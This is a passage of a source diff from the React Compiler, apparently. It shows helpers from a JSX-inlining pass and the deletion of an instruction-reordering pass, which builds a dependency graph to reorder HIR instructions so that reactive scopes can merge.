|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Step 3: Fixup the HIR
|
||||
* Restore RPO, ensure correct predecessors, renumber instructions, fix scope and ranges.
|
||||
*/
|
||||
reversePostorderBlocks(fn.body);
|
||||
markPredecessors(fn.body);
|
||||
markInstructionIds(fn.body);
|
||||
fixScopeAndIdentifierRanges(fn.body);
|
||||
}
|
||||
|
||||
function createSymbolProperty(
|
||||
fn: HIRFunction,
|
||||
instr: Instruction,
|
||||
nextInstructions: Array<Instruction>,
|
||||
propertyName: string,
|
||||
symbolName: string,
|
||||
): ObjectProperty {
|
||||
const symbolPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const symbolInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...symbolPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'LoadGlobal',
|
||||
binding: {kind: 'Global', name: 'Symbol'},
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
nextInstructions.push(symbolInstruction);
|
||||
|
||||
const symbolForPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const symbolForInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...symbolForPlace, effect: Effect.Read},
|
||||
value: {
|
||||
kind: 'PropertyLoad',
|
||||
object: {...symbolInstruction.lvalue},
|
||||
property: makePropertyLiteral('for'),
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
nextInstructions.push(symbolForInstruction);
|
||||
|
||||
const symbolValuePlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const symbolValueInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...symbolValuePlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: symbolName,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
nextInstructions.push(symbolValueInstruction);
|
||||
|
||||
const $$typeofPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const $$typeofInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...$$typeofPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'MethodCall',
|
||||
receiver: symbolInstruction.lvalue,
|
||||
property: symbolForInstruction.lvalue,
|
||||
args: [symbolValueInstruction.lvalue],
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
const $$typeofProperty: ObjectProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: propertyName, kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...$$typeofPlace, effect: Effect.Capture},
|
||||
};
|
||||
nextInstructions.push($$typeofInstruction);
|
||||
return $$typeofProperty;
|
||||
}
|
||||
|
||||
function createTagProperty(
|
||||
fn: HIRFunction,
|
||||
instr: Instruction,
|
||||
nextInstructions: Array<Instruction>,
|
||||
componentTag: BuiltinTag | Place,
|
||||
): ObjectProperty {
|
||||
let tagProperty: ObjectProperty;
|
||||
switch (componentTag.kind) {
|
||||
case 'BuiltinTag': {
|
||||
const tagPropertyPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const tagInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...tagPropertyPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: componentTag.name,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
tagProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'type', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...tagPropertyPlace, effect: Effect.Capture},
|
||||
};
|
||||
nextInstructions.push(tagInstruction);
|
||||
break;
|
||||
}
|
||||
case 'Identifier': {
|
||||
tagProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'type', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...componentTag, effect: Effect.Capture},
|
||||
};
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return tagProperty;
|
||||
}
|
||||
|
||||
function createPropsProperties(
|
||||
fn: HIRFunction,
|
||||
instr: Instruction,
|
||||
nextInstructions: Array<Instruction>,
|
||||
propAttributes: Array<JsxAttribute>,
|
||||
children: Array<Place> | null,
|
||||
): {
|
||||
refProperty: ObjectProperty;
|
||||
keyProperty: ObjectProperty;
|
||||
propsProperty: ObjectProperty;
|
||||
} {
|
||||
let refProperty: ObjectProperty | undefined;
|
||||
let keyProperty: ObjectProperty | undefined;
|
||||
const props: Array<ObjectProperty | SpreadPattern> = [];
|
||||
const jsxAttributesWithoutKey = propAttributes.filter(
|
||||
p => p.kind === 'JsxAttribute' && p.name !== 'key',
|
||||
);
|
||||
const jsxSpreadAttributes = propAttributes.filter(
|
||||
p => p.kind === 'JsxSpreadAttribute',
|
||||
);
|
||||
const spreadPropsOnly =
|
||||
jsxAttributesWithoutKey.length === 0 && jsxSpreadAttributes.length === 1;
|
||||
propAttributes.forEach(prop => {
|
||||
switch (prop.kind) {
|
||||
case 'JsxAttribute': {
|
||||
switch (prop.name) {
|
||||
case 'key': {
|
||||
keyProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'key', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...prop.place},
|
||||
};
|
||||
break;
|
||||
}
|
||||
case 'ref': {
|
||||
/**
|
||||
* In the current JSX implementation, ref is both
|
||||
* a property on the element and a property on props.
|
||||
*/
|
||||
refProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'ref', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...prop.place},
|
||||
};
|
||||
const refPropProperty: ObjectProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'ref', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...prop.place},
|
||||
};
|
||||
props.push(refPropProperty);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
const attributeProperty: ObjectProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: prop.name, kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...prop.place},
|
||||
};
|
||||
props.push(attributeProperty);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'JsxSpreadAttribute': {
|
||||
props.push({
|
||||
kind: 'Spread',
|
||||
place: {...prop.argument},
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const propsPropertyPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
if (children) {
|
||||
let childrenPropProperty: ObjectProperty;
|
||||
if (children.length === 1) {
|
||||
childrenPropProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'children', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...children[0], effect: Effect.Capture},
|
||||
};
|
||||
} else {
|
||||
const childrenPropPropertyPlace = createTemporaryPlace(
|
||||
fn.env,
|
||||
instr.value.loc,
|
||||
);
|
||||
|
||||
const childrenPropInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...childrenPropPropertyPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'ArrayExpression',
|
||||
elements: [...children],
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
nextInstructions.push(childrenPropInstruction);
|
||||
childrenPropProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'children', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...childrenPropPropertyPlace, effect: Effect.Capture},
|
||||
};
|
||||
}
|
||||
props.push(childrenPropProperty);
|
||||
}
|
||||
|
||||
if (refProperty == null) {
|
||||
const refPropertyPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const refInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...refPropertyPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: null,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
refProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'ref', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...refPropertyPlace, effect: Effect.Capture},
|
||||
};
|
||||
nextInstructions.push(refInstruction);
|
||||
}
|
||||
|
||||
if (keyProperty == null) {
|
||||
const keyPropertyPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const keyInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...keyPropertyPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: null,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
keyProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'key', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...keyPropertyPlace, effect: Effect.Capture},
|
||||
};
|
||||
nextInstructions.push(keyInstruction);
|
||||
}
|
||||
|
||||
let propsProperty: ObjectProperty;
|
||||
if (spreadPropsOnly) {
|
||||
const spreadProp = jsxSpreadAttributes[0];
|
||||
CompilerError.invariant(spreadProp.kind === 'JsxSpreadAttribute', {
|
||||
reason: 'Spread prop attribute must be of kind JSXSpreadAttribute',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instr.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
propsProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'props', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...spreadProp.argument, effect: Effect.Mutate},
|
||||
};
|
||||
} else {
|
||||
const propsInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...propsPropertyPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'ObjectExpression',
|
||||
properties: props,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
propsProperty = {
|
||||
kind: 'ObjectProperty',
|
||||
key: {name: 'props', kind: 'string'},
|
||||
type: 'property',
|
||||
place: {...propsPropertyPlace, effect: Effect.Capture},
|
||||
};
|
||||
nextInstructions.push(propsInstruction);
|
||||
}
|
||||
|
||||
return {refProperty, keyProperty, propsProperty};
|
||||
}
|
||||
|
||||
function handlePlace(
|
||||
place: Place,
|
||||
blockId: BlockId,
|
||||
inlinedJsxDeclarations: InlinedJsxDeclarationMap,
|
||||
): Place {
|
||||
const inlinedJsxDeclaration = inlinedJsxDeclarations.get(
|
||||
place.identifier.declarationId,
|
||||
);
|
||||
if (
|
||||
inlinedJsxDeclaration == null ||
|
||||
inlinedJsxDeclaration.blockIdsToIgnore.has(blockId)
|
||||
) {
|
||||
return place;
|
||||
}
|
||||
|
||||
return {...place, identifier: inlinedJsxDeclaration.identifier};
|
||||
}
|
||||
|
||||
function handlelValue(
|
||||
lvalue: Place,
|
||||
blockId: BlockId,
|
||||
inlinedJsxDeclarations: InlinedJsxDeclarationMap,
|
||||
): Place {
|
||||
const inlinedJsxDeclaration = inlinedJsxDeclarations.get(
|
||||
lvalue.identifier.declarationId,
|
||||
);
|
||||
if (
|
||||
inlinedJsxDeclaration == null ||
|
||||
inlinedJsxDeclaration.blockIdsToIgnore.has(blockId)
|
||||
) {
|
||||
return lvalue;
|
||||
}
|
||||
|
||||
return {...lvalue, identifier: inlinedJsxDeclaration.identifier};
|
||||
}
|
||||
|
||||
function handleIdentifier(
|
||||
identifier: Identifier,
|
||||
inlinedJsxDeclarations: InlinedJsxDeclarationMap,
|
||||
): Identifier {
|
||||
const inlinedJsxDeclaration = inlinedJsxDeclarations.get(
|
||||
identifier.declarationId,
|
||||
);
|
||||
return inlinedJsxDeclaration == null
|
||||
? identifier
|
||||
: inlinedJsxDeclaration.identifier;
|
||||
}
|
||||
@@ -1,516 +0,0 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {CompilerError} from '..';
|
||||
import {
|
||||
BasicBlock,
|
||||
Environment,
|
||||
GeneratedSource,
|
||||
HIRFunction,
|
||||
IdentifierId,
|
||||
Instruction,
|
||||
InstructionId,
|
||||
Place,
|
||||
isExpressionBlockKind,
|
||||
makeInstructionId,
|
||||
markInstructionIds,
|
||||
} from '../HIR';
|
||||
import {printInstruction} from '../HIR/PrintHIR';
|
||||
import {
|
||||
eachInstructionLValue,
|
||||
eachInstructionValueLValue,
|
||||
eachInstructionValueOperand,
|
||||
eachTerminalOperand,
|
||||
} from '../HIR/visitors';
|
||||
import {getOrInsertWith} from '../Utils/utils';
|
||||
|
||||
/**
|
||||
* This pass implements conservative instruction reordering to move instructions closer to
|
||||
* to where their produced values are consumed. The goal is to group instructions in a way that
|
||||
* is more optimal for future optimizations. Notably, MergeReactiveScopesThatAlwaysInvalidateTogether
|
||||
* can only merge two candidate scopes if there are no intervenining instructions that are used by
|
||||
* some later code: instruction reordering can move those intervening instructions later in many cases,
|
||||
* thereby allowing more scopes to merge together.
|
||||
*
|
||||
* The high-level approach is to build a dependency graph where nodes correspond either to
|
||||
* instructions OR to a particular lvalue assignment of another instruction. So
|
||||
* `Destructure [x, y] = z` creates 3 nodes: one for the instruction, and one each for x and y.
|
||||
* The lvalue nodes depend on the instruction node that assigns them.
|
||||
*
|
||||
* Dependency edges are added for all the lvalues and rvalues of each instruction, so for example
|
||||
* the node for `t$2 = CallExpression t$0 ( t$1 )` will take dependencies on the nodes for t$0 and t$1.
|
||||
*
|
||||
* Individual instructions are grouped into two categories:
|
||||
* - "Reorderable" instructions include a safe set of instructions that we know are fine to reorder.
|
||||
* This includes JSX elements/fragments/text, primitives, template literals, and globals.
|
||||
* These instructions are never emitted until they are referenced, and can even be moved across
|
||||
* basic blocks until they are used.
|
||||
* - All other instructions are non-reorderable, and take an explicit dependency on the last such
|
||||
* non-reorderable instruction in their block. This largely ensures that mutations are serialized,
|
||||
* since all potentially mutating instructions are in this category.
|
||||
*
|
||||
* The only remaining mutation not handled by the above is variable reassignment. To ensure that all
|
||||
* reads/writes of a variable access the correct version, all references (lvalues and rvalues) to
|
||||
* each named variable are serialized. Thus `x = 1; y = x; x = 2; z = x` will establish a chain
|
||||
* of dependencies and retain the correct ordering.
|
||||
*
|
||||
* The algorithm proceeds one basic block at a time, first building up the dependnecy graph and then
|
||||
* reordering.
|
||||
*
|
||||
* The reordering weights nodes according to their transitive dependencies, and whether a particular node
|
||||
* needs memoization or not. Larger dependencies go first, followed by smaller dependencies, which in
|
||||
* testing seems to allow scopes to merge more effectively. Over time we can likely continue to improve
|
||||
* the reordering heuristic.
|
||||
*
|
||||
* An obvious area for improvement is to allow reordering of LoadLocals that occur after the last write
|
||||
* of the named variable. We can add this in a follow-up.
|
||||
*/
|
||||
export function instructionReordering(fn: HIRFunction): void {
|
||||
// Shared nodes are emitted when they are first used
|
||||
const shared: Nodes = new Map();
|
||||
const references = findReferencedRangeOfTemporaries(fn);
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
reorderBlock(fn.env, block, shared, references);
|
||||
}
|
||||
CompilerError.invariant(shared.size === 0, {
|
||||
reason: `InstructionReordering: expected all reorderable nodes to have been emitted`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc:
|
||||
[...shared.values()]
|
||||
.map(node => node.instruction?.loc)
|
||||
.filter(loc => loc != null)[0] ?? GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
markInstructionIds(fn.body);
|
||||
}
|
||||
|
||||
const DEBUG = false;
|
||||
|
||||
type Nodes = Map<IdentifierId, Node>;
|
||||
type Node = {
|
||||
instruction: Instruction | null;
|
||||
dependencies: Set<IdentifierId>;
|
||||
reorderability: Reorderability;
|
||||
depth: number | null;
|
||||
};
|
||||
|
||||
// Inclusive start and end
|
||||
type References = {
|
||||
singleUseIdentifiers: SingleUseIdentifiers;
|
||||
lastAssignments: LastAssignments;
|
||||
};
|
||||
type LastAssignments = Map<string, InstructionId>;
|
||||
type SingleUseIdentifiers = Set<IdentifierId>;
|
||||
enum ReferenceKind {
|
||||
Read,
|
||||
Write,
|
||||
}
|
||||
function findReferencedRangeOfTemporaries(fn: HIRFunction): References {
|
||||
const singleUseIdentifiers = new Map<IdentifierId, number>();
|
||||
const lastAssignments: LastAssignments = new Map();
|
||||
function reference(
|
||||
instr: InstructionId,
|
||||
place: Place,
|
||||
kind: ReferenceKind,
|
||||
): void {
|
||||
if (
|
||||
place.identifier.name !== null &&
|
||||
place.identifier.name.kind === 'named'
|
||||
) {
|
||||
if (kind === ReferenceKind.Write) {
|
||||
const name = place.identifier.name.value;
|
||||
const previous = lastAssignments.get(name);
|
||||
if (previous === undefined) {
|
||||
lastAssignments.set(name, instr);
|
||||
} else {
|
||||
lastAssignments.set(
|
||||
name,
|
||||
makeInstructionId(Math.max(previous, instr)),
|
||||
);
|
||||
}
|
||||
}
|
||||
return;
|
||||
} else if (kind === ReferenceKind.Read) {
|
||||
const previousCount = singleUseIdentifiers.get(place.identifier.id) ?? 0;
|
||||
singleUseIdentifiers.set(place.identifier.id, previousCount + 1);
|
||||
}
|
||||
}
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
for (const operand of eachInstructionValueLValue(instr.value)) {
|
||||
reference(instr.id, operand, ReferenceKind.Read);
|
||||
}
|
||||
for (const lvalue of eachInstructionLValue(instr)) {
|
||||
reference(instr.id, lvalue, ReferenceKind.Write);
|
||||
}
|
||||
}
|
||||
for (const operand of eachTerminalOperand(block.terminal)) {
|
||||
reference(block.terminal.id, operand, ReferenceKind.Read);
|
||||
}
|
||||
}
|
||||
return {
|
||||
singleUseIdentifiers: new Set(
|
||||
[...singleUseIdentifiers]
|
||||
.filter(([, count]) => count === 1)
|
||||
.map(([id]) => id),
|
||||
),
|
||||
lastAssignments,
|
||||
};
|
||||
}
|
||||
|
||||
function reorderBlock(
|
||||
env: Environment,
|
||||
block: BasicBlock,
|
||||
shared: Nodes,
|
||||
references: References,
|
||||
): void {
|
||||
const locals: Nodes = new Map();
|
||||
const named: Map<string, IdentifierId> = new Map();
|
||||
let previous: IdentifierId | null = null;
|
||||
for (const instr of block.instructions) {
|
||||
const {lvalue, value} = instr;
|
||||
// Get or create a node for this lvalue
|
||||
const reorderability = getReorderability(instr, references);
|
||||
const node = getOrInsertWith(
|
||||
locals,
|
||||
lvalue.identifier.id,
|
||||
() =>
|
||||
({
|
||||
instruction: instr,
|
||||
dependencies: new Set(),
|
||||
reorderability,
|
||||
depth: null,
|
||||
}) as Node,
|
||||
);
|
||||
/**
|
||||
* Ensure non-reoderable instructions have their order retained by
|
||||
* adding explicit dependencies to the previous such instruction.
|
||||
*/
|
||||
if (reorderability === Reorderability.Nonreorderable) {
|
||||
if (previous !== null) {
|
||||
node.dependencies.add(previous);
|
||||
}
|
||||
previous = lvalue.identifier.id;
|
||||
}
|
||||
/**
|
||||
* Establish dependencies on operands
|
||||
*/
|
||||
for (const operand of eachInstructionValueOperand(value)) {
|
||||
const {name, id} = operand.identifier;
|
||||
if (name !== null && name.kind === 'named') {
|
||||
// Serialize all accesses to named variables
|
||||
const previous = named.get(name.value);
|
||||
if (previous !== undefined) {
|
||||
node.dependencies.add(previous);
|
||||
}
|
||||
named.set(name.value, lvalue.identifier.id);
|
||||
} else if (locals.has(id) || shared.has(id)) {
|
||||
node.dependencies.add(id);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* Establish nodes for lvalues, with dependencies on the node
|
||||
* for the instruction itself. This ensures that any consumers
|
||||
* of the lvalue will take a dependency through to the original
|
||||
* instruction.
|
||||
*/
|
||||
for (const lvalueOperand of eachInstructionValueLValue(value)) {
|
||||
const lvalueNode = getOrInsertWith(
|
||||
locals,
|
||||
lvalueOperand.identifier.id,
|
||||
() =>
|
||||
({
|
||||
instruction: null,
|
||||
dependencies: new Set(),
|
||||
depth: null,
|
||||
}) as Node,
|
||||
);
|
||||
lvalueNode.dependencies.add(lvalue.identifier.id);
|
||||
const name = lvalueOperand.identifier.name;
|
||||
if (name !== null && name.kind === 'named') {
|
||||
const previous = named.get(name.value);
|
||||
if (previous !== undefined) {
|
||||
node.dependencies.add(previous);
|
||||
}
|
||||
named.set(name.value, lvalue.identifier.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const nextInstructions: Array<Instruction> = [];
|
||||
const seen = new Set<IdentifierId>();
|
||||
|
||||
DEBUG && console.log(`bb${block.id}`);
|
||||
|
||||
/**
|
||||
* The ideal order for emitting instructions may change the final instruction,
|
||||
* but value blocks have special semantics for the final instruction of a block -
|
||||
* that's the expression's value!. So we choose between a less optimal strategy
|
||||
* for value blocks which preserves the final instruction order OR a more optimal
|
||||
* ordering for statement-y blocks.
|
||||
*/
|
||||
if (isExpressionBlockKind(block.kind)) {
|
||||
// First emit everything that can't be reordered
|
||||
if (previous !== null) {
|
||||
DEBUG && console.log(`(last non-reorderable instruction)`);
|
||||
DEBUG && print(env, locals, shared, seen, previous);
|
||||
emit(env, locals, shared, nextInstructions, previous);
|
||||
}
|
||||
/*
|
||||
* For "value" blocks the final instruction represents its value, so we have to be
|
||||
* careful to not change the ordering. Emit the last instruction explicitly.
|
||||
* Any non-reorderable instructions will get emitted first, and any unused
|
||||
* reorderable instructions can be deferred to the shared node list.
|
||||
*/
|
||||
if (block.instructions.length !== 0) {
|
||||
DEBUG && console.log(`(block value)`);
|
||||
DEBUG &&
|
||||
print(
|
||||
env,
|
||||
locals,
|
||||
shared,
|
||||
seen,
|
||||
block.instructions.at(-1)!.lvalue.identifier.id,
|
||||
);
|
||||
emit(
|
||||
env,
|
||||
locals,
|
||||
shared,
|
||||
nextInstructions,
|
||||
block.instructions.at(-1)!.lvalue.identifier.id,
|
||||
);
|
||||
}
|
||||
/*
|
||||
* Then emit the dependencies of the terminal operand. In many cases they will have
|
||||
* already been emitted in the previous step and this is a no-op.
|
||||
* TODO: sort the dependencies based on weight, like we do for other nodes. Not a big
|
||||
* deal though since most terminals have a single operand
|
||||
*/
|
||||
for (const operand of eachTerminalOperand(block.terminal)) {
|
||||
DEBUG && console.log(`(terminal operand)`);
|
||||
DEBUG && print(env, locals, shared, seen, operand.identifier.id);
|
||||
emit(env, locals, shared, nextInstructions, operand.identifier.id);
|
||||
}
|
||||
// Anything not emitted yet is globally reorderable
|
||||
for (const [id, node] of locals) {
|
||||
if (node.instruction == null) {
|
||||
continue;
|
||||
}
|
||||
CompilerError.invariant(
|
||||
node.reorderability === Reorderability.Reorderable,
|
||||
{
|
||||
reason: `Expected all remaining instructions to be reorderable`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: node.instruction?.loc ?? block.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
description:
|
||||
node.instruction != null
|
||||
? `Instruction [${node.instruction.id}] was not emitted yet but is not reorderable`
|
||||
: `Lvalue $${id} was not emitted yet but is not reorderable`,
|
||||
},
|
||||
);
|
||||
|
||||
DEBUG && console.log(`save shared: $${id}`);
|
||||
shared.set(id, node);
|
||||
}
|
||||
} else {
|
||||
/**
|
||||
* If this is not a value block, then the order within the block doesn't matter
|
||||
* and we can optimize more. The observation is that blocks often have instructions
|
||||
* such as:
|
||||
*
|
||||
* ```
|
||||
* t$0 = nonreorderable
|
||||
* t$1 = nonreorderable <-- this gets in the way of merging t$0 and t$2
|
||||
* t$2 = reorderable deps[ t$0 ]
|
||||
* return t$2
|
||||
* ```
|
||||
*
|
||||
* Ie where there is some pair of nonreorderable+reorderable values, with some intervening
|
||||
* also non-reorderable instruction. If we emit all non-reorderable instructions first,
|
||||
* then we'll keep the original order. But reordering instructions doesn't just mean moving
|
||||
* them later: we can also move them _earlier_. By starting from terminal operands we
|
||||
* end up emitting:
|
||||
*
|
||||
* ```
|
||||
* t$0 = nonreorderable // dep of t$2
|
||||
* t$2 = reorderable deps[ t$0 ]
|
||||
* t$1 = nonreorderable <-- not in the way of merging anymore!
|
||||
* return t$2
|
||||
* ```
|
||||
*
|
||||
* Ie all nonreorderable transitive deps of the terminal operands will get emitted first,
|
||||
* but we'll be able to intersperse the depending reorderable instructions in between
|
||||
* them in a way that works better with scope merging.
|
||||
*/
|
||||
for (const operand of eachTerminalOperand(block.terminal)) {
|
||||
DEBUG && console.log(`(terminal operand)`);
|
||||
DEBUG && print(env, locals, shared, seen, operand.identifier.id);
|
||||
emit(env, locals, shared, nextInstructions, operand.identifier.id);
|
||||
}
|
||||
// Anything not emitted yet is globally reorderable
|
||||
for (const id of Array.from(locals.keys()).reverse()) {
|
||||
const node = locals.get(id);
|
||||
if (node === undefined) {
|
||||
continue;
|
||||
}
|
||||
if (node.reorderability === Reorderability.Reorderable) {
|
||||
DEBUG && console.log(`save shared: $${id}`);
|
||||
shared.set(id, node);
|
||||
} else {
|
||||
DEBUG && console.log('leftover');
|
||||
DEBUG && print(env, locals, shared, seen, id);
|
||||
emit(env, locals, shared, nextInstructions, id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
block.instructions = nextInstructions;
|
||||
DEBUG && console.log();
|
||||
}
|
||||
|
||||
function getDepth(env: Environment, nodes: Nodes, id: IdentifierId): number {
|
||||
const node = nodes.get(id)!;
|
||||
if (node == null) {
|
||||
return 0;
|
||||
}
|
||||
if (node.depth != null) {
|
||||
return node.depth;
|
||||
}
|
||||
node.depth = 0; // in case of cycles
|
||||
let depth = node.reorderability === Reorderability.Reorderable ? 1 : 10;
|
||||
for (const dep of node.dependencies) {
|
||||
depth += getDepth(env, nodes, dep);
|
||||
}
|
||||
node.depth = depth;
|
||||
return depth;
|
||||
}
|
||||
|
||||
function print(
|
||||
env: Environment,
|
||||
locals: Nodes,
|
||||
shared: Nodes,
|
||||
seen: Set<IdentifierId>,
|
||||
id: IdentifierId,
|
||||
depth: number = 0,
|
||||
): void {
|
||||
if (seen.has(id)) {
|
||||
DEBUG && console.log(`${'| '.repeat(depth)}$${id} <skipped>`);
|
||||
return;
|
||||
}
|
||||
seen.add(id);
|
||||
const node = locals.get(id) ?? shared.get(id);
|
||||
if (node == null) {
|
||||
return;
|
||||
}
|
||||
const deps = [...node.dependencies];
|
||||
deps.sort((a, b) => {
|
||||
const aDepth = getDepth(env, locals, a);
|
||||
const bDepth = getDepth(env, locals, b);
|
||||
return bDepth - aDepth;
|
||||
});
|
||||
for (const dep of deps) {
|
||||
print(env, locals, shared, seen, dep, depth + 1);
|
||||
}
|
||||
DEBUG &&
|
||||
console.log(
|
||||
`${'| '.repeat(depth)}$${id} ${printNode(node)} deps=[${deps
|
||||
.map(x => `$${x}`)
|
||||
.join(', ')}] depth=${node.depth}`,
|
||||
);
|
||||
}
|
||||
|
||||
function printNode(node: Node): string {
|
||||
const {instruction} = node;
|
||||
if (instruction === null) {
|
||||
return '<lvalue-only>';
|
||||
}
|
||||
switch (instruction.value.kind) {
|
||||
case 'FunctionExpression':
|
||||
case 'ObjectMethod': {
|
||||
return `[${instruction.id}] ${instruction.value.kind}`;
|
||||
}
|
||||
default: {
|
||||
return printInstruction(instruction);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function emit(
|
||||
env: Environment,
|
||||
locals: Nodes,
|
||||
shared: Nodes,
|
||||
instructions: Array<Instruction>,
|
||||
id: IdentifierId,
|
||||
): void {
|
||||
const node = locals.get(id) ?? shared.get(id);
|
||||
if (node == null) {
|
||||
return;
|
||||
}
|
||||
locals.delete(id);
|
||||
shared.delete(id);
|
||||
const deps = [...node.dependencies];
|
||||
deps.sort((a, b) => {
|
||||
const aDepth = getDepth(env, locals, a);
|
||||
const bDepth = getDepth(env, locals, b);
|
||||
return bDepth - aDepth;
|
||||
});
|
||||
for (const dep of deps) {
|
||||
emit(env, locals, shared, instructions, dep);
|
||||
}
|
||||
if (node.instruction !== null) {
|
||||
instructions.push(node.instruction);
|
||||
}
|
||||
}
|
||||
|
||||
enum Reorderability {
|
||||
Reorderable,
|
||||
Nonreorderable,
|
||||
}
|
||||
function getReorderability(
|
||||
instr: Instruction,
|
||||
references: References,
|
||||
): Reorderability {
|
||||
switch (instr.value.kind) {
|
||||
case 'JsxExpression':
|
||||
case 'JsxFragment':
|
||||
case 'JSXText':
|
||||
case 'LoadGlobal':
|
||||
case 'Primitive':
|
||||
case 'TemplateLiteral':
|
||||
case 'BinaryExpression':
|
||||
case 'UnaryExpression': {
|
||||
return Reorderability.Reorderable;
|
||||
}
|
||||
case 'LoadLocal': {
|
||||
const name = instr.value.place.identifier.name;
|
||||
if (name !== null && name.kind === 'named') {
|
||||
const lastAssignment = references.lastAssignments.get(name.value);
|
||||
if (
|
||||
lastAssignment !== undefined &&
|
||||
lastAssignment < instr.id &&
|
||||
references.singleUseIdentifiers.has(instr.lvalue.identifier.id)
|
||||
) {
|
||||
return Reorderability.Reorderable;
|
||||
}
|
||||
}
|
||||
return Reorderability.Nonreorderable;
|
||||
}
|
||||
default: {
|
||||
return Reorderability.Nonreorderable;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,308 +0,0 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
